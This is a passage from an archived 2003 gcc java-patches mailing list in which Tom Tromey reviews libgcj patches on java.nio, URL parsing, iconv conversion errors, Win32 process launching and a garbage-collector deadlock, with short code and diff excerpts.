java.rmi.RemoteException; import java.rmi.UnknownHostException; +/** + * An internal interface that should no longer be used. + * @deprecated + */ public interface RegistryHandler { +/** @deprecated */ public Registry registryStub(String host, int port) throws RemoteException, UnknownHostException; +/** @deprecated */ public Registry registryImpl(int port) throws RemoteException; } From java-patches-return-6316-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:45:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8692 invoked by alias); 1 Mar 2003 22:45:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8685 invoked from network); 1 Mar 2003 22:45:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:45:32 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA23112; Sat, 1 Mar 2003 15:45:31 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 0DBE94F8610; Sat, 1 Mar 2003 15:36:57 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio -- important, please test on your platform References: <200302141345.02102.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Did I SELL OUT yet?? Date: 01 Mar 2003 15:36:56 -0700 In-Reply-To: <200302141345.02102.konqueror@gmx.de> Message-ID: <87wujiu31z.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I wrote this little patch to build the whole java.nio currently in Michael> CVS. This patch makes java.nio's API nearly 100% ready (2 methods in Michael> java.nio.charset are still missing). I'm putting this into 3.3. I'm going to put in the arm build bug fix at the same time. Tom From java-patches-return-6317-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:51:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11726 invoked by alias); 1 Mar 2003 22:51:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11719 invoked from network); 1 Mar 2003 22:51:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:51:16 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA27074; Sat, 1 Mar 2003 15:51:15 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1D1E24F8610; Sat, 1 Mar 2003 15:42:35 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Regression in GCJ 3.3 in parsing property files References: <3E551F26.74FFB4B6@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Make me look like LINDA RONSTADT again!! Date: 01 Mar 2003 15:42:35 -0700 In-Reply-To: <3E551F26.74FFB4B6@hotmail.com> Message-ID: <87smu6u2sk.fsf@fleche.redhat.com> Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> Actually, I have found more problems with parseURL( ), so it's OK Ranjit> if this patch is not applied right away - not that it's wrong, but Ranjit> I might as well submit a fuller patch. Ok, I'll drop this patch. If you change your mind, resend it. Ranjit> What I'm referring to is the fact that this method gets confused Ranjit> by other colons in the path of the URL when the URL is something Ranjit> like "file:/c:/temp/foo.txt". And I think this case is valid Ranjit> only for "file" URLs. Stuff like this deserves a Mauve test, though I guess it would have to be host-specific. Ranjit> Can someone with Sun's or IBM's JRE on Linux please tell me Ranjit> what it is for a path like "/foo/bar" - is it Ranjit> "file:///foo/bar" or just "file:/foo/bar"? Here you go: fleche. cat foo.java import java.io.*; class foo { public static void main(String[] args) throws Throwable { System.out.println(new File("/tmp/foo.java").toURL()); } } fleche. javac foo.java fleche. java foo file:/tmp/foo.java This is weird, though. Isn't this invalid according to the URL standard? (Which I haven't looked at since 1996... so don't think I know what I'm talking about.) Tom From java-patches-return-6318-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 22:54:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17276 invoked by alias); 1 Mar 2003 22:54:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17269 invoked from network); 1 Mar 2003 22:54:43 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 22:54:43 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA29082; Sat, 1 Mar 2003 15:54:42 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AAE384F8610; Sat, 1 Mar 2003 15:46:08 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: configure check for sys/mman.h References: <200301141104.04692.konqueror@gmx.de> <200301210727.04348.konqueror@gmx.de> <87el76rz6p.fsf@fleche.redhat.com> <200302181804.43982.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Please come home with me... I have Tylenol!! Date: 01 Mar 2003 15:46:08 -0700 In-Reply-To: <200302181804.43982.konqueror@gmx.de> Message-ID: <87of4uu2mn.fsf@fleche.redhat.com> Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I've digged a little bit more and found a "better" solution using an Michael> autoconf feature. Please review and comment on this. Michael> We will need mmap very soon now for java.nio. This is fine, please check it in. I've been putting all the nio stuff into 3.3 since, thus far, it has been low risk, and it lets people at least compile their nio-using programs against libgcj. I'd like to ship at least an api-compatible nio in 3.3. Whether it really works is another question. I think I'm going to hold off putting this patch into 3.3, at least for the time being. We can always put it in a bit later, either for 3.3.1 or for 3.3 if it slips (as seems likely). Also it depends on how well nio is working in the near future. Tom From java-patches-return-6319-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:01:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19968 invoked by alias); 1 Mar 2003 23:01:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19961 invoked from network); 1 Mar 2003 23:01:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:01:04 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA32069; Sat, 1 Mar 2003 16:01:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id DFD244F8610; Sat, 1 Mar 2003 15:52:28 -0700 (MST) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Preview: Win32 Process Implementation References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Th' MIND is the Pizza Palace of th' SOUL Date: 01 Mar 2003 15:52:28 -0700 In-Reply-To: Message-ID: <87k7fiu2c3.fsf@fleche.redhat.com> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Mohan> 2003-02-23 Mohan Embar This looks good to me. I'm checking it in to the trunk and the 3.3 branch. It is small enough, imho, not to need paperwork. However, future patches will. A couple trivial nits to pick: Mohan> * java/lang/natWin32Process.cc (java::lang::ConcreteProcess::startProcess): Mohan> double-quote each program array element passed to CreateProcess In the ChangeLog entry, just put the function name in the parens. Usually, in libgcj, there's no need to spell out the full class name. Mohan> + if (i>0) You need spaces around the `>'. Tom From java-patches-return-6320-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:08:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21158 invoked by alias); 1 Mar 2003 23:08:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21150 invoked from network); 1 Mar 2003 23:08:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:08:48 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA02733; Sat, 1 Mar 2003 16:08:47 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 08FB04F8610; Sat, 1 Mar 2003 16:00:13 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt References: <200302211108.29958.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! It's a hole all the way to downtown Burbank! Date: 01 Mar 2003 16:00:12 -0700 In-Reply-To: <200302211108.29958.konqueror@gmx.de> Message-ID: <87fzq6u1z7.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I wrote this patch for java.awt. Please review and comment. Looks great. Please put it on the trunk and in Classpath. Michael> + * Tells wether or not an event is enabled. Typo: should be "whether". There are a couple of these. I think you should go ahead and make java.awt changes without waiting for approval. Just make sure to keep Classpath and libgcj merged here (well, except the 2 known divergences, one in Toolkit and one in the peers -- both are labelled). Tom From java-patches-return-6321-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:19:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22256 invoked by alias); 1 Mar 2003 23:19:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22249 invoked from network); 1 Mar 2003 23:19:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:19:55 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAB06683; Sat, 1 Mar 2003 16:19:53 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D71CD4F8610; Sat, 1 Mar 2003 16:11:19 -0700 (MST) To: Mark Wielaard Cc: James Clark , java-patches@gcc.gnu.org, Jesse Rosenstock Subject: Re: Partial fix for libgcj/9802 References: <1045937012.3332.605.camel@elsschot> <3E581152.4030507@jclark.com> <1046041940.3352.975.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Either CONFESS now or we go to ``PEOPLE'S COURT''!! Date: 01 Mar 2003 16:11:19 -0700 In-Reply-To: <1046041940.3352.975.camel@elsschot> Message-ID: <87adgeu1go.fsf@fleche.redhat.com> Lines: 100 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Note that the reason for the minimal 5 line patch were that we are very Mark> close to a release. I hoped to solve the issue with UTF-8 surrogates Mark> without impacting any other encoding issues. Otherwise I am afraid that Mark> "the powers that be" will not accept the change for 3.3. Yeah, it is scary to change this code. Mark> But the natIconv.cc source code says: Mark> // Note that we can't check `errno' because Mark> // glibc 2.1.3 doesn't set it correctly. We could check it if we Mark> // really needed to, but we'd have to disable support for 2.1.3. Mark> Don't know how important supporting 2.1.3 is at this time. (Tom, I Mark> assume you wrote this comment?) I think 2.1.3 shipped in Red Hat Linux 6.2. That's pretty old these days. I sent a patch in this area a long time ago but never checked it in. I've appended it for your perusal. Maybe it is time for this to go in? This patch basically disables our ability to work with an old glibc. Tom Index: ChangeLog from Tom Tromey * gnu/gcj/convert/natIconv.cc (write): Handle case where output buffer is too small. Index: gnu/gcj/convert/natIconv.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/natIconv.cc,v retrieving revision 1.13 diff -u -r1.13 natIconv.cc --- gnu/gcj/convert/natIconv.cc 18 Feb 2002 02:52:44 -0000 1.13 +++ gnu/gcj/convert/natIconv.cc 16 Aug 2002 21:37:39 -0000 @@ -1,6 +1,6 @@ -// Input_iconv.java -- Java side of iconv() reader. +// natIconv.cc -- Java side of iconv() reader. -/* Copyright (C) 2000, 2001 Free Software Foundation +/* Copyright (C) 2000, 2001, 2002 Free Software Foundation This file is part of libgcj. @@ -201,25 +201,39 @@ inbuf = (char *) temp_buffer; } - // If the conversion fails on the very first character, then we - // assume that the character can't be represented in the output - // encoding. There's nothing useful we can do here, so we simply - // omit that character. Note that we can't check `errno' because - // glibc 2.1.3 doesn't set it correctly. We could check it if we - // really needed to, but we'd have to disable support for 2.1.3. size_t loop_old_in = old_in; while (1) { size_t r = iconv_adapter (iconv, (iconv_t) handle, &inbuf, &inavail, &outbuf, &outavail); - if (r == (size_t) -1 && inavail == loop_old_in) + if (r == (size_t) -1) { - inavail -= 2; - if (inavail == 0) - break; - loop_old_in -= 2; - inbuf += 2; + if (errno == EINVAL) + { + // Incomplete byte sequence at the end of the input + // buffer. This shouldn't be able to happen here. + break; + } + else if (errno == E2BIG) + { + // Output buffer is too small. + break; + } + else if (errno == EILSEQ || inavail == loop_old_in) + { + // Untranslatable sequence. Since glibc 2.1.3 doesn't + // properly set errno, we also assume that this is what + // is happening if no conversions took place. (This can + // be a bogus assumption if in fact the output buffer is + // too small.) We skip the first character and try + // again. + inavail -= 2; + if (inavail == 0) + break; + loop_old_in -= 2; + inbuf += 2; + } } else break; From java-patches-return-6322-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:23:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22716 invoked by alias); 1 Mar 2003 23:23:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22709 invoked from network); 1 Mar 2003 23:23:50 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:23:50 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA08018; Sat, 1 Mar 2003 16:23:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 75ED24F8610; Sat, 1 Mar 2003 16:15:15 -0700 (MST) To: Mark Wielaard Cc: James Clark , java-patches@gcc.gnu.org, Jesse Rosenstock Subject: Re: Partial fix for libgcj/9802 References: <1045937012.3332.605.camel@elsschot> <3E581152.4030507@jclark.com> <1046041940.3352.975.camel@elsschot> <1046137159.3364.99.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm in DISGUISE as a BAGGAGE CHECKER....I can watch the house, if it's ORANGE... Date: 01 Mar 2003 16:15:15 -0700 In-Reply-To: <1046137159.3364.99.camel@elsschot> Message-ID: <877kbiu1a4.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> + * gnu/gcj/convert/UnicodeToBytes.java (havePendingByes): New method. Should be "Bytes", not "Byes". There are several of these in the ChangeLog entry. I'm inclined to put this in, but first a couple questions. What should we do about the iconv converter? Perhaps for 3.3 we can hack around the problem, and just ditch old glibc compatibility for 3.4. Or maybe now is the time Do we also need to update PrintStream and friends? Tom From java-patches-return-6323-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:38:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24667 invoked by alias); 1 Mar 2003 23:38:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24653 invoked from network); 1 Mar 2003 23:38:50 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:38:50 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA11680; Sat, 1 Mar 2003 16:38:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9BC824F8610; Sat, 1 Mar 2003 16:30:15 -0700 (MST) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Preview: Escape DllMain in boehm-gc References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: YOW!! Now I'm playing with my HOLOGRAPHIC ATOMIC SIMULATION LASER pinball machine!! WORLD PEACE is in the BALANCE!! Date: 01 Mar 2003 16:30:15 -0700 In-Reply-To: Message-ID: <871y1qu0l4.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Ranjit> As for the patch itself, I believe that GC_DLL doesn't Ranjit> actually get defined by anyone in this release - this Ranjit> should get defined most likely if "--enable-shared" is Ranjit> given via changes in configure.in. Mohan> I had a sinking feeling this was the case, also after Mohan> examining the code, but the messages seemed to indicate Mohan> the contrary. My mistake. I'll go at this again and submit Mohan> another patch. Ok, I'm dropping this patch. Thanks. Tom From java-patches-return-6324-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:43:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25938 invoked by alias); 1 Mar 2003 23:43:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25931 invoked from network); 1 Mar 2003 23:43:24 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:43:24 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA12460; Sat, 1 Mar 2003 16:43:24 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 96B754F8610; Sat, 1 Mar 2003 16:34:50 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 References: <3E591729.9FEFF8B1@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Vote for ME -- I'm well-tapered, half-cocked, ill-conceived and TAX-DEFERRED! Date: 01 Mar 2003 16:34:50 -0700 In-Reply-To: <3E591729.9FEFF8B1@hotmail.com> Message-ID: <87wujislt1.fsf@fleche.redhat.com> Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> * jcf-path.c (add_entry): Compare ZIP and JAR files in a Ranjit> case-insensitive way if we have a DOS-based filesystem. Ranjit> Use IS_DIR_SEPARATOR instead of explicit checking against Ranjit> DIR_SEPARATOR. Ranjit> (jcf_path_extdirs_arg): Use IS_DIR_SEPARATOR instead of Ranjit> explicitly checking against DIR_SEPARATOR. Andrew will have to review this, but... Ranjit> + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) Ranjit> + if (len > 4 && (strcasecmp (filename + len - 4, ".zip") == 0 Ranjit> + || strcasecmp (filename + len - 4, ".jar") == 0)) Ranjit> + #else Ranjit> if (len > 4 && (strcmp (filename + len - 4, ".zip") == 0 Ranjit> || strcmp (filename + len - 4, ".jar") == 0)) Ranjit> + #endif I'd prefer we add a new macro, like COMPARE_FILENAMES, and then define that as strcmp or strcasecmp. Best would be to do this in system.h, though personally I'd settle for some header in gcc/java/. Tom From java-patches-return-6325-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:46:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27397 invoked by alias); 1 Mar 2003 23:46:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27389 invoked from network); 1 Mar 2003 23:46:53 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:46:53 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA13038; Sat, 1 Mar 2003 16:46:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 31C044F8610; Sat, 1 Mar 2003 16:38:19 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio.MappedByteFileBuffer (with patch) References: <200302251212.57075.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Are you still an ALCOHOLIC? Date: 01 Mar 2003 16:38:18 -0700 In-Reply-To: <200302251212.57075.konqueror@gmx.de> Message-ID: <87smu6sln9.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commitedt the attached patch to trunk. It adds two new Michael> files. But they will not be applied until Tom reviewed the Michael> mmap configure patch. I finally did that today. I looked through this patch and I don't see the dependency on the mmap patch. But no matter... Tom From java-patches-return-6326-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:49:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27710 invoked by alias); 1 Mar 2003 23:49:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27703 invoked from network); 1 Mar 2003 23:49:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:49:28 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA13520; Sat, 1 Mar 2003 16:49:27 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9CD2C4F8610; Sat, 1 Mar 2003 16:40:53 -0700 (MST) To: Mark Wielaard Cc: "Boehm, Hans" , "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> <1046521565.19771.198.camel@elsschot> <1046535554.19772.277.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: PEGGY FLEMING is stealing BASKET BALLS to feed the babies in VERMONT. Date: 01 Mar 2003 16:40:53 -0700 In-Reply-To: <1046535554.19772.277.camel@elsschot> Message-ID: <87of4usliy.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> I was seeing this with the SyncTest running under gij and with Eclipse. Mark> Sadly Eclipse doesn't seem to run anymore with recent gcj, I haven't Mark> figured out yet what goes wrong, but it has nothing todo with this Mark> patch. Mark> Figured out that previously I used the Eclipse 2.1 M4 build (and Mark> somehow I now used the M5 build). So M4 works and RC1 works but M5 doesn't work? Do you know what changed in M5? I want to understand our apparent fragility... Tom From java-patches-return-6327-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:51:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28627 invoked by alias); 1 Mar 2003 23:51:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28608 invoked from network); 1 Mar 2003 23:51:33 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:51:33 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA13944; Sat, 1 Mar 2003 16:51:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 72CB04F8610; Sat, 1 Mar 2003 16:42:59 -0700 (MST) To: Mark Wielaard Cc: "Boehm, Hans" , "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> <1046521565.19771.198.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I wonder if there's anything GOOD on tonight? Date: 01 Mar 2003 16:42:59 -0700 In-Reply-To: <1046521565.19771.198.camel@elsschot> Message-ID: <87k7fislfg.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> SyncTest doesn't deadlock anymore with this patch. But for reasons Mark> outlined in http://gcc.gnu.org/ml/java/2003-01/msg00297.html this test Mark> is now so slow that it will always timeout. For my tests I decreased the Mark> counter from 1 milion to 100,000 (with 4 threads) and then it still Mark> takes 20 minutes to complete. But at least it completes. Is this test still valid when we reduce the count? I'd like it to at least not time out. Really I'd like it to take very little time at all (unreasonable, I know) -- very slow tests reduce the test suite's usability. I've noticed that both Mauve and Jacks really hammer my machine :-( Tom From java-patches-return-6328-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:56:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 582 invoked by alias); 1 Mar 2003 23:56:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 575 invoked from network); 1 Mar 2003 23:56:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:56:04 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA14820; Sat, 1 Mar 2003 16:56:03 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2F4604F8610; Sat, 1 Mar 2003 16:47:30 -0700 (MST) To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HAIR TONICS, please!! Date: 01 Mar 2003 16:47:30 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> Message-ID: <87fzq6sl7x.fsf@fleche.redhat.com> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> This patch is extracted from my current GC tree. I would like 